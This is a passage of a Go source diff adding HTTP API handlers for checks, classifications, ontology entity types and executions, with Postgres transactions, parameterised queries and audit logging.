slug = "check:" + string(req.Body.Kind) + ":" + uuid.New().String()[:8]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Resolve target if provided.
|
||||||
|
var targetID *uuid.UUID
|
||||||
|
if req.Body.Target != nil && *req.Body.Target != "" {
|
||||||
|
tid, rerr := s.resolveEntityID(ctx, *req.Body.Target)
|
||||||
|
if rerr != nil {
|
||||||
|
return nil, rerr
|
||||||
|
}
|
||||||
|
targetID = &tid
|
||||||
|
}
|
||||||
|
|
||||||
|
intervalS := int32(300)
|
||||||
|
if req.Body.IntervalS != nil {
|
||||||
|
intervalS = int32(*req.Body.IntervalS)
|
||||||
|
}
|
||||||
|
timeoutS := int32(30)
|
||||||
|
if req.Body.TimeoutS != nil {
|
||||||
|
timeoutS = int32(*req.Body.TimeoutS)
|
||||||
|
}
|
||||||
|
enabled := true
|
||||||
|
if req.Body.Enabled != nil {
|
||||||
|
enabled = *req.Body.Enabled
|
||||||
|
}
|
||||||
|
|
||||||
|
configJSON := []byte("{}")
|
||||||
|
if req.Body.Config != nil {
|
||||||
|
configJSON, _ = json.Marshal(req.Body.Config)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
q := sqlcgen.New(tx)
|
||||||
|
|
||||||
|
// Create the entity row (checks are entities).
|
||||||
|
entity, err := q.InsertEntity(ctx, sqlcgen.InsertEntityParams{
|
||||||
|
ID: id,
|
||||||
|
Slug: slug,
|
||||||
|
Type: "check",
|
||||||
|
Name: slug,
|
||||||
|
Attributes: []byte("{}"),
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
if strings.Contains(err.Error(), "unique") || strings.Contains(err.Error(), "duplicate") {
|
||||||
|
return nil, fmt.Errorf("%w: check %q already exists", domain.ErrAlreadyExists, slug)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := q.InsertCheckDef(ctx, sqlcgen.InsertCheckDefParams{
|
||||||
|
EntityID: id,
|
||||||
|
TargetID: targetID,
|
||||||
|
TargetType: req.Body.TargetType,
|
||||||
|
Kind: string(req.Body.Kind),
|
||||||
|
Config: configJSON,
|
||||||
|
IntervalS: intervalS,
|
||||||
|
TimeoutS: timeoutS,
|
||||||
|
Zone: req.Body.Zone,
|
||||||
|
Enabled: enabled,
|
||||||
|
}); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build response Check.
|
||||||
|
check := gen.Check{
|
||||||
|
Id: id,
|
||||||
|
Slug: entity.Slug,
|
||||||
|
Kind: gen.CheckKind(req.Body.Kind),
|
||||||
|
IntervalS: int(intervalS),
|
||||||
|
TimeoutS: int(timeoutS),
|
||||||
|
Enabled: enabled,
|
||||||
|
TargetType: req.Body.TargetType,
|
||||||
|
Zone: req.Body.Zone,
|
||||||
|
Version: int(entity.Version),
|
||||||
|
}
|
||||||
|
if req.Body.Config != nil {
|
||||||
|
check.Config = req.Body.Config
|
||||||
|
}
|
||||||
|
if targetID != nil && req.Body.Target != nil {
|
||||||
|
check.Target = req.Body.Target
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
||||||
|
&id, "POST", "/api/v1/checks", "",
|
||||||
|
map[string]any{"kind": req.Body.Kind, "slug": slug}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.CreateCheck201JSONResponse(check), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) PatchCheck(ctx context.Context, req gen.PatchCheckRequestObject) (gen.PatchCheckResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse If-Match
|
||||||
|
ifMatch := strings.Trim(req.Params.IfMatch, `"`)
|
||||||
|
expectedVersion, err := parseIntIfMatch(ifMatch)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
_ = expectedVersion // check_defs don't track version via If-Match today, but we validate the header is present
|
||||||
|
|
||||||
|
if ifMatch == "" {
|
||||||
|
return nil, fmt.Errorf("%w: invalid If-Match header", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get current check def
|
||||||
|
current, err := sqlcgen.New(s.pool).GetCheckDef(ctx, id)
|
||||||
|
if err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("%w: check %s", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
// Apply patch.
|
||||||
|
if req.Body.Config != nil {
|
||||||
|
current.Config, _ = json.Marshal(req.Body.Config)
|
||||||
|
}
|
||||||
|
if req.Body.IntervalS != nil {
|
||||||
|
current.IntervalS = int32(*req.Body.IntervalS)
|
||||||
|
}
|
||||||
|
if req.Body.TimeoutS != nil {
|
||||||
|
current.TimeoutS = int32(*req.Body.TimeoutS)
|
||||||
|
}
|
||||||
|
if req.Body.Enabled != nil {
|
||||||
|
current.Enabled = *req.Body.Enabled
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := sqlcgen.New(tx).UpdateCheckDef(ctx, sqlcgen.UpdateCheckDefParams{
|
||||||
|
EntityID: id,
|
||||||
|
Kind: current.Kind,
|
||||||
|
Config: current.Config,
|
||||||
|
IntervalS: current.IntervalS,
|
||||||
|
TimeoutS: current.TimeoutS,
|
||||||
|
TargetID: current.TargetID,
|
||||||
|
TargetType: current.TargetType,
|
||||||
|
Zone: current.Zone,
|
||||||
|
Enabled: current.Enabled,
|
||||||
|
}); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read to get updated timestamp.
|
||||||
|
updated, err := sqlcgen.New(tx).GetCheckDef(ctx, id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
check := checkDefToGen(updated)
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||||
|
&id, "PATCH", "/api/v1/checks/"+req.Id, "",
|
||||||
|
map[string]any{"enabled": updated.Enabled}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.PatchCheck200JSONResponse(check), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func checkDefToGen(cd sqlcgen.CheckDef) gen.Check {
|
||||||
|
c := gen.Check{
|
||||||
|
Id: cd.EntityID,
|
||||||
|
Kind: gen.CheckKind(cd.Kind),
|
||||||
|
IntervalS: int(cd.IntervalS),
|
||||||
|
TimeoutS: int(cd.TimeoutS),
|
||||||
|
Enabled: cd.Enabled,
|
||||||
|
TargetType: cd.TargetType,
|
||||||
|
Zone: cd.Zone,
|
||||||
|
}
|
||||||
|
var config map[string]any
|
||||||
|
if len(cd.Config) > 0 && json.Unmarshal(cd.Config, &config) == nil && len(config) > 0 {
|
||||||
|
c.Config = &config
|
||||||
|
}
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseIntIfMatch parses an integer from a raw If-Match header value (with quotes stripped).
|
||||||
|
func parseIntIfMatch(s string) (int, error) {
|
||||||
|
if s == "" {
|
||||||
|
return 0, fmt.Errorf("empty version")
|
||||||
|
}
|
||||||
|
var v int
|
||||||
|
for _, c := range s {
|
||||||
|
if c < '0' || c > '9' {
|
||||||
|
return 0, fmt.Errorf("invalid version: %q", s)
|
||||||
|
}
|
||||||
|
v = v*10 + int(c-'0')
|
||||||
|
}
|
||||||
|
return v, nil
|
||||||
|
}
|
||||||
85
internal/httpapi/classifications.go
Normal file
85
internal/httpapi/classifications.go
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Classifications ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) ListClassifications(ctx context.Context, req gen.ListClassificationsRequestObject) (gen.ListClassificationsResponseObject, error) {
|
||||||
|
limit := clampLimit(req.Params.Limit)
|
||||||
|
var route *string
|
||||||
|
if req.Params.Route != nil {
|
||||||
|
r := string(*req.Params.Route)
|
||||||
|
route = &r
|
||||||
|
}
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT c.entity_id, c.signal_entity_id, c.target_entity_id, c.action,
|
||||||
|
c.recommended_action, c.risk_class, c.route, c.blast_radius,
|
||||||
|
c.pattern_confidence, c.skill_id, c.autonomy_check, c.reasoning,
|
||||||
|
c.correlation_id, c.created_at,
|
||||||
|
e.slug, COALESCE(se.slug, '') AS signal_slug, COALESCE(te.slug, '') AS target_slug
|
||||||
|
FROM classifications c
|
||||||
|
LEFT JOIN entities e ON e.id = c.entity_id
|
||||||
|
LEFT JOIN entities se ON se.id = c.signal_entity_id
|
||||||
|
LEFT JOIN entities te ON te.id = c.target_entity_id
|
||||||
|
WHERE ($1::text IS NULL OR c.route = $1)
|
||||||
|
AND ($2::text IS NULL OR e.slug > $2)
|
||||||
|
ORDER BY e.slug
|
||||||
|
LIMIT $3`,
|
||||||
|
route, req.Params.Cursor, limit+1)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.Classification{}
|
||||||
|
for rows.Next() {
|
||||||
|
var cls gen.Classification
|
||||||
|
var recActionJSON []byte
|
||||||
|
var reasoningJSON []byte
|
||||||
|
var blastRadius []uuid.UUID
|
||||||
|
var signalSlug, targetSlug string
|
||||||
|
if err := rows.Scan(&cls.Id, &cls.SignalId, &targetSlug, &cls.Action,
|
||||||
|
&recActionJSON, &cls.RiskClass, &cls.Route, &blastRadius,
|
||||||
|
&cls.PatternConfidence, &cls.SkillId, &cls.AutonomyCheck, &reasoningJSON,
|
||||||
|
&cls.CorrelationId, &cls.CreatedAt,
|
||||||
|
&cls.Target, &signalSlug, &targetSlug); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if targetSlug != "" {
|
||||||
|
cls.Target = &targetSlug
|
||||||
|
}
|
||||||
|
var reasoning map[string]any
|
||||||
|
if json.Unmarshal(reasoningJSON, &reasoning) == nil {
|
||||||
|
cls.Reasoning = reasoning
|
||||||
|
}
|
||||||
|
if len(blastRadius) > 0 {
|
||||||
|
br := make([]string, len(blastRadius))
|
||||||
|
for i, id := range blastRadius {
|
||||||
|
br[i] = id.String()
|
||||||
|
}
|
||||||
|
cls.BlastRadius = &br
|
||||||
|
}
|
||||||
|
items = append(items, cls)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
var next *string
|
||||||
|
if len(items) > limit {
|
||||||
|
items = items[:limit]
|
||||||
|
if items[len(items)-1].Target != nil {
|
||||||
|
next = items[len(items)-1].Target
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.Classification{}
|
||||||
|
}
|
||||||
|
return gen.ListClassifications200JSONResponse{Items: items, NextCursor: next}, nil
|
||||||
|
}
|
||||||
160
internal/httpapi/entity_types.go
Normal file
160
internal/httpapi/entity_types.go
Normal file
@@ -0,0 +1,160 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Entity Types (Ontology) ───────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) CreateEntityType(ctx context.Context, req gen.CreateEntityTypeRequestObject) (gen.CreateEntityTypeResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
isAbstract := false
|
||||||
|
if req.Body.IsAbstract != nil {
|
||||||
|
isAbstract = *req.Body.IsAbstract
|
||||||
|
}
|
||||||
|
|
||||||
|
attrsSchemaJSON := []byte("null")
|
||||||
|
if req.Body.AttributeSchema != nil {
|
||||||
|
attrsSchemaJSON, _ = json.Marshal(req.Body.AttributeSchema)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
_, err = tx.Exec(ctx, `
|
||||||
|
INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, description, lifecycle_id, attribute_schema, status)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, 'active')`,
|
||||||
|
req.Body.Name, req.Body.ParentType, isAbstract, req.Body.Domain,
|
||||||
|
string(req.Body.Layer), req.Body.Description, req.Body.LifecycleId, attrsSchemaJSON)
|
||||||
|
if err != nil {
|
||||||
|
if strings.Contains(err.Error(), "unique") || strings.Contains(err.Error(), "duplicate") {
|
||||||
|
return nil, fmt.Errorf("%w: entity type %q already exists", domain.ErrAlreadyExists, req.Body.Name)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read.
|
||||||
|
var et gen.EntityType
|
||||||
|
var schemaBytes []byte
|
||||||
|
err = tx.QueryRow(ctx, `
|
||||||
|
SELECT name, parent_type, is_abstract, domain, layer, description,
|
||||||
|
lifecycle_id, attribute_schema, schema_version, status
|
||||||
|
FROM entity_types WHERE name = $1`, req.Body.Name).
|
||||||
|
Scan(&et.Name, &et.ParentType, &et.IsAbstract, &et.Domain, &et.Layer,
|
||||||
|
&et.Description, &et.LifecycleId, &schemaBytes, &et.SchemaVersion, &et.Status)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var schema map[string]any
|
||||||
|
if len(schemaBytes) > 0 && json.Unmarshal(schemaBytes, &schema) == nil && schema != nil {
|
||||||
|
et.AttributeSchema = &schema
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||||
|
nil, "POST", "/api/v1/ontology/entity-types", "",
|
||||||
|
map[string]any{"name": req.Body.Name, "domain": req.Body.Domain}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.CreateEntityType201JSONResponse(et), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) PatchEntityType(ctx context.Context, req gen.PatchEntityTypeRequestObject) (gen.PatchEntityTypeResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
// Build dynamic update.
|
||||||
|
sets := []string{}
|
||||||
|
args := []any{}
|
||||||
|
argIdx := 2
|
||||||
|
|
||||||
|
if req.Body.Description != nil {
|
||||||
|
sets = append(sets, fmt.Sprintf("description = $%d", argIdx))
|
||||||
|
args = append(args, *req.Body.Description)
|
||||||
|
argIdx++
|
||||||
|
}
|
||||||
|
if req.Body.Status != nil {
|
||||||
|
sets = append(sets, fmt.Sprintf("status = $%d", argIdx))
|
||||||
|
args = append(args, string(*req.Body.Status))
|
||||||
|
argIdx++
|
||||||
|
}
|
||||||
|
if req.Body.AttributeSchema != nil {
|
||||||
|
schemaJSON, _ := json.Marshal(req.Body.AttributeSchema)
|
||||||
|
sets = append(sets, fmt.Sprintf("attribute_schema = $%d", argIdx))
|
||||||
|
args = append(args, schemaJSON)
|
||||||
|
argIdx++
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(sets) == 0 {
|
||||||
|
return nil, fmt.Errorf("%w: no fields to update", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
sets = append(sets, "schema_version = schema_version + 1, updated_at = now()")
|
||||||
|
|
||||||
|
query := fmt.Sprintf(`UPDATE entity_types SET %s WHERE name = $1`, strings.Join(sets, ", "))
|
||||||
|
finalArgs := append([]any{req.Name}, args...)
|
||||||
|
|
||||||
|
result, err := tx.Exec(ctx, query, finalArgs...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if result.RowsAffected() == 0 {
|
||||||
|
return nil, fmt.Errorf("%w: entity type %q", domain.ErrNotFound, req.Name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read.
|
||||||
|
var et gen.EntityType
|
||||||
|
var schemaBytes []byte
|
||||||
|
err = tx.QueryRow(ctx, `
|
||||||
|
SELECT name, parent_type, is_abstract, domain, layer, description,
|
||||||
|
lifecycle_id, attribute_schema, schema_version, status
|
||||||
|
FROM entity_types WHERE name = $1`, req.Name).
|
||||||
|
Scan(&et.Name, &et.ParentType, &et.IsAbstract, &et.Domain, &et.Layer,
|
||||||
|
&et.Description, &et.LifecycleId, &schemaBytes, &et.SchemaVersion, &et.Status)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var schema map[string]any
|
||||||
|
if len(schemaBytes) > 0 && json.Unmarshal(schemaBytes, &schema) == nil && schema != nil {
|
||||||
|
et.AttributeSchema = &schema
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||||
|
nil, "PATCH", "/api/v1/ontology/entity-types/"+req.Name, "",
|
||||||
|
map[string]any{"status": req.Body.Status}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.PatchEntityType200JSONResponse(et), nil
|
||||||
|
}
|
||||||
267
internal/httpapi/executions.go
Normal file
267
internal/httpapi/executions.go
Normal file
@@ -0,0 +1,267 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Executions ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsRequestObject) (gen.ListExecutionsResponseObject, error) {
|
||||||
|
limit := clampLimit(req.Params.Limit)
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT e.entity_id, e.classification_id::text, e.signal_entity_id::text,
|
||||||
|
e.target_entity_id, e.action, e.risk_class,
|
||||||
|
e.approval_id::text, e.agent_id::text, e.skill_id::text,
|
||||||
|
e.skill_version, e.status, e.result, e.duration_ms,
|
||||||
|
e.verified, e.correlation_id, e.started_at, e.completed_at, e.created_at,
|
||||||
|
te.slug
|
||||||
|
FROM executions e
|
||||||
|
JOIN entities te ON te.id = e.target_entity_id
|
||||||
|
WHERE ($1::text IS NULL OR e.status = $1)
|
||||||
|
AND ($2::text IS NULL OR te.slug > $2)
|
||||||
|
ORDER BY te.slug
|
||||||
|
LIMIT $3`,
|
||||||
|
req.Params.Status, req.Params.Cursor, limit+1)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.Execution{}
|
||||||
|
for rows.Next() {
|
||||||
|
var exec gen.Execution
|
||||||
|
var resultBytes []byte
|
||||||
|
var targetSlug string
|
||||||
|
if err := rows.Scan(&exec.Id, &exec.ClassificationId, &exec.SignalId,
|
||||||
|
&exec.Target, &exec.Action, &exec.RiskClass,
|
||||||
|
&exec.ApprovalId, &exec.AgentId, &exec.SkillId,
|
||||||
|
&exec.SkillVersion, &exec.Status, &resultBytes, &exec.DurationMs,
|
||||||
|
&exec.Verified, &exec.CorrelationId, &exec.StartedAt, &exec.CompletedAt,
|
||||||
|
&exec.CreatedAt, &targetSlug); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var result map[string]any
|
||||||
|
if len(resultBytes) > 0 && json.Unmarshal(resultBytes, &result) == nil {
|
||||||
|
exec.Result = &result
|
||||||
|
}
|
||||||
|
// Target is stored as UUID, but we surface the slug
|
||||||
|
exec.Slug = targetSlug
|
||||||
|
items = append(items, exec)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
var next *string
|
||||||
|
if len(items) > limit {
|
||||||
|
items = items[:limit]
|
||||||
|
next = &items[len(items)-1].Slug
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.Execution{}
|
||||||
|
}
|
||||||
|
return gen.ListExecutions200JSONResponse{Items: items, NextCursor: next}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) GetExecution(ctx context.Context, req gen.GetExecutionRequestObject) (gen.GetExecutionResponseObject, error) {
|
||||||
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var exec gen.Execution
|
||||||
|
var resultBytes []byte
|
||||||
|
var targetSlug string
|
||||||
|
err = s.pool.QueryRow(ctx, `
|
||||||
|
SELECT e.entity_id, e.classification_id::text, e.signal_entity_id::text,
|
||||||
|
e.target_entity_id, e.action, e.risk_class,
|
||||||
|
e.approval_id::text, e.agent_id::text, e.skill_id::text,
|
||||||
|
e.skill_version, e.status, e.result, e.duration_ms,
|
||||||
|
e.verified, e.correlation_id, e.started_at, e.completed_at, e.created_at,
|
||||||
|
te.slug
|
||||||
|
FROM executions e
|
||||||
|
JOIN entities te ON te.id = e.target_entity_id
|
||||||
|
WHERE e.entity_id = $1`, id).
|
||||||
|
Scan(&exec.Id, &exec.ClassificationId, &exec.SignalId,
|
||||||
|
&exec.Target, &exec.Action, &exec.RiskClass,
|
||||||
|
&exec.ApprovalId, &exec.AgentId, &exec.SkillId,
|
||||||
|
&exec.SkillVersion, &exec.Status, &resultBytes, &exec.DurationMs,
|
||||||
|
&exec.Verified, &exec.CorrelationId, &exec.StartedAt, &exec.CompletedAt,
|
||||||
|
&exec.CreatedAt, &targetSlug)
|
||||||
|
if err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("%w: execution %s", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var result map[string]any
|
||||||
|
if len(resultBytes) > 0 && json.Unmarshal(resultBytes, &result) == nil {
|
||||||
|
exec.Result = &result
|
||||||
|
}
|
||||||
|
exec.Slug = targetSlug
|
||||||
|
return gen.GetExecution200JSONResponse(exec), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) RequestExecution(ctx context.Context, req gen.RequestExecutionRequestObject) (gen.RequestExecutionResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := uuid.NewV7()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
targetID, err := s.resolveEntityID(ctx, req.Body.Target)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
correlationID := uuid.New().String()
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
q := sqlcgen.New(tx)
|
||||||
|
|
||||||
|
// Full UUID, not a truncated prefix — an 8-char prefix of a UUIDv7
|
||||||
|
// collides for real under back-to-back requests since the leading bytes
|
||||||
|
// encode a millisecond timestamp (observed live via the MCP run tool).
|
||||||
|
execSlug := "exec:" + id.String()
|
||||||
|
if _, err := q.InsertEntity(ctx, sqlcgen.InsertEntityParams{
|
||||||
|
ID: id,
|
||||||
|
Slug: execSlug,
|
||||||
|
Type: "execution",
|
||||||
|
Name: req.Body.Action + " on " + req.Body.Target,
|
||||||
|
Attributes: []byte("{}"),
|
||||||
|
}); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := q.InsertExecution(ctx, sqlcgen.InsertExecutionParams{
|
||||||
|
EntityID: id,
|
||||||
|
TargetEntityID: &targetID,
|
||||||
|
Action: req.Body.Action,
|
||||||
|
RiskClass: "unclassified", // will be classified by classifier
|
||||||
|
CorrelationID: correlationID,
|
||||||
|
}); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read to get the full record.
|
||||||
|
var exec gen.Execution
|
||||||
|
var resultBytes []byte
|
||||||
|
var targetSlug string
|
||||||
|
err = tx.QueryRow(ctx, `
|
||||||
|
SELECT e.entity_id, e.classification_id::text, e.signal_entity_id::text,
|
||||||
|
e.target_entity_id, e.action, e.risk_class,
|
||||||
|
e.approval_id::text, e.agent_id::text, e.skill_id::text,
|
||||||
|
e.skill_version, e.status, e.result, e.duration_ms,
|
||||||
|
e.verified, e.correlation_id, e.started_at, e.completed_at, e.created_at,
|
||||||
|
te.slug
|
||||||
|
FROM executions e
|
||||||
|
JOIN entities te ON te.id = e.target_entity_id
|
||||||
|
WHERE e.entity_id = $1`, id).
|
||||||
|
Scan(&exec.Id, &exec.ClassificationId, &exec.SignalId,
|
||||||
|
&exec.Target, &exec.Action, &exec.RiskClass,
|
||||||
|
&exec.ApprovalId, &exec.AgentId, &exec.SkillId,
|
||||||
|
&exec.SkillVersion, &exec.Status, &resultBytes, &exec.DurationMs,
|
||||||
|
&exec.Verified, &exec.CorrelationId, &exec.StartedAt, &exec.CompletedAt,
|
||||||
|
&exec.CreatedAt, &targetSlug)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
exec.Slug = targetSlug
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
||||||
|
&id, "POST", "/api/v1/executions", "",
|
||||||
|
map[string]any{"action": req.Body.Action, "target": req.Body.Target}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
if eventErr := observability.Event(ctx, q, "execution.requested", &id,
|
||||||
|
"info", "oikos-api", "",
|
||||||
|
map[string]any{"action": req.Body.Action, "target": req.Body.Target}); eventErr != nil {
|
||||||
|
return nil, eventErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.RequestExecution201JSONResponse(exec), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) CancelExecution(ctx context.Context, req gen.CancelExecutionRequestObject) (gen.CancelExecutionResponseObject, error) {
|
||||||
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
q := sqlcgen.New(tx)
|
||||||
|
if err := q.UpdateExecutionStatus(ctx, sqlcgen.UpdateExecutionStatusParams{
|
||||||
|
EntityID: id,
|
||||||
